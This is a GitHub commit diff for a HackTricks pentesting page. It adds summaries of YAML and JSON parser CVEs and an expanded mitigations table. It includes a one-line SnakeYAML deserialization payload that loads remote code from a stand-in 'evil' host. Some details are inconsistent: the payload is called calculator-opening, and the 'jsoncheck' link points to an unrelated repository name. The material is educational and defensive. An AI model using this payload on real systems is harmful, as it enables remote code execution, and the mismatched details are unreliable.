Skip to content

Commit ac8f184

Browse files
authored
Merge pull request #1224 from HackTricks-wiki/research_update_src_pentesting-web_json-xml-yaml-hacking_20250801_015159
Research Update Enhanced src/pentesting-web/json-xml-yaml-ha...
2 parents 249134a + ebd4800 commit ac8f184

1 file changed

Lines changed: 45 additions & 8 deletions

File tree

src/pentesting-web/json-xml-yaml-hacking.md

Lines changed: 45 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -128,16 +128,53 @@ Result:
128128
- **YAML** parser: `Action_1` (case-sensitive)
129129
- **XML** parser: parses `"Action_3"` inside the string
130130

131+
---
131132

132-
### 🔐 Mitigations
133+
## Notable Parser Vulnerabilities (2023-2025)
133134

134-
| Risk | Fix |
135-
|-----------------------------|---------------------------------------|
136-
| Unknown fields | `decoder.DisallowUnknownFields()` |
137-
| Duplicate fields (JSON) | ❌ No fix in stdlib |
138-
| Case-insensitive match | ❌ No fix in stdlib |
139-
| XML garbage data | ❌ No fix in stdlib |
140-
| YAML: unknown keys | `yaml.KnownFields(true)` |
135+
> The following publicly-exploitable issues show that insecure parsing is a multi-language problem — not just a Go problem.
141136
137+
### SnakeYAML Deserialization RCE (CVE-2022-1471)
138+
139+
* Affects: `org.yaml:snakeyaml` < **2.0** (used by Spring-Boot, Jenkins, etc.).
140+
* Root cause: `new Constructor()` deserializes **arbitrary Java classes**, allowing gadget chains that culminate in remote-code execution.
141+
* One-liner PoC (will open the calculator on vulnerable host):
142+
```yaml
143+
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
144+
```
145+
* Fix / Mitigation:
146+
1. **Upgrade to ≥2.0** (uses `SafeLoader` by default).
147+
2. On older versions, explicitly use `new Yaml(new SafeConstructor())`.
148+
149+
### libyaml Double-Free (CVE-2024-35325)
150+
151+
* Affects: `libyaml` ≤0.2.5 (C library leveraged by many language bindings).
152+
* Issue: Calling `yaml_event_delete()` twice leads to a double-free that attackers can turn into DoS or, in some scenarios, heap exploitation.
153+
* Status: Upstream rejected as “API misuse”, but Linux distributions shipped patched **0.2.6** that null-frees the pointer defensively.
154+
155+
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
156+
157+
* Affects: Tencent **RapidJSON** before commit `8269bc2` (<1.1.0-patch-22).
158+
* Bug: In `GenericReader::ParseNumber()` unchecked arithmetic lets attackers craft huge numeric literals that wrap around and corrupt the heap — ultimately enabling privilege-escalation when the resulting object graph is used for authorization decisions.
159+
160+
---
161+
162+
### 🔐 Mitigations (Updated)
163+
164+
| Risk | Fix / Recommendation |
165+
|-------------------------------------|------------------------------------------------------------|
166+
| Unknown fields (JSON) | `decoder.DisallowUnknownFields()` |
167+
| Duplicate fields (JSON) | ❌ No fix in stdlib — validate with [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
168+
| Case-insensitive match (Go) | ❌ No fix — validate struct tags + pre-canonicalize input |
169+
| XML garbage data / XXE | Use a hardened parser (`encoding/xml` + `DisallowDTD`) |
170+
| YAML unknown keys | `yaml.KnownFields(true)` |
171+
| **Unsafe YAML deserialization** | Use SafeConstructor / upgrade to SnakeYAML ≥2.0 |
172+
| libyaml ≤0.2.5 double-free | Upgrade to **0.2.6** or distro-patched release |
173+
| RapidJSON <patched commit | Compile against latest RapidJSON (≥July 2024) |
174+
175+
## References
176+
177+
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
178+
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
142179

143180
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)